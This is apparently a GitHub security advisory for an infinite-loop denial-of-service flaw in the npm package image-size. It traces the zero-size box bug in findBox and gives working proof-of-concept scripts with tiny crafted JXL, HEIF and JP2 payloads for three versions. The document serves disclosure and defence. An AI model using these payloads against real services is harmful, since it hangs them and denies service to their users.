image-size
is vulnerable to a Denial of Service vulnerability when processing specially crafted images.
The issue occurs because of an infine loop in findBox
when processing certain images with a box with size 0
.
If the first bytes of the input does not match any bytes in firstBytes
, then the package tries to validate the image using other handlers:
// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
const byte = input[0]
if (byte in firstBytes) {
const type = firstBytes[byte]
if (type && typeHandlers[type].validate(input)) {
return type
}
}
const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
return keys.find(finder)
}
Some handlers that call findBox
to validate or calculate the image size are jxl
, heif
and jp2
.
JXL
handler calls findBox
inside validate
. To reach the findBox
call, the value at position 4:8
should be 'JXL '
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
validate: (input: Uint8Array): boolean => {
const boxType = toUTF8String(input, 4, 8)
if (boxType !== 'JXL ') return false //<---
const ftypBox = findBox(input, 'ftyp', 0) //<---
if (!ftypBox) return false
const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
return brand === 'jxl '
},
findBox
can lead to an infine loop because the value of box.size
is 0
, thus the offset
variable is not updated. Below relevant code with comments (using one of the PAYLOAD
below as example):
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
input[offset] * 2 ** 24 + // 0 +
input[offset + 1] * 2 ** 16 + // 0 +
input[offset + 2] * 2 ** 8 + // 0 +
input[offset + 3] // 0
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) { // offset: 0
if (input.length - offset < 4) return
const boxSize = readUInt32BE(input, offset) // 0
if (input.length - offset < boxSize) return // (8 - 0) < 0 => false
return {
name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '
offset, // 0
size: boxSize, // 0
}
}
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
while (offset < input.length) { // 0 < 8 => false
const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }
if (!box) break // false
if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false
offset += box.size // offset += 0
}
}
A similar issue occurs for HEIF
and JP2
handlers:
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts
Usage:
node main.js poc1|poc2
poc for image-size@2.0.1
// mkdir 2.0.1
// cd 2.0.1/
// npm i image-size@2.0.1
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
(async () => {
await imageSizeFromFile(FILENAME)
console.log('Done') // never executed
})();
}
function poc2() {
imageSize(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
poc for image-size@1.2.0
// mkdir 1.2.0
// cd 1.2.0/
// npm i image-size@1.2.0
const sizeOf = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
poc for image-size@1.1.1
// mkdir 1.1.1
// cd 1.1.1/
// npm i image-size@1.1.1
const sizeOf = require("image-size");
const fs = require('fs');
// HEIF
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x66, 0x74, 0x79, 0x70, // "ftyp"
0x61, 0x76, 0x69, 0x66 // "avif"
]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
Denial of Service
{ "nvd_published_at": null, "cwe_ids": [ "CWE-770" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-04-02T15:04:58Z" }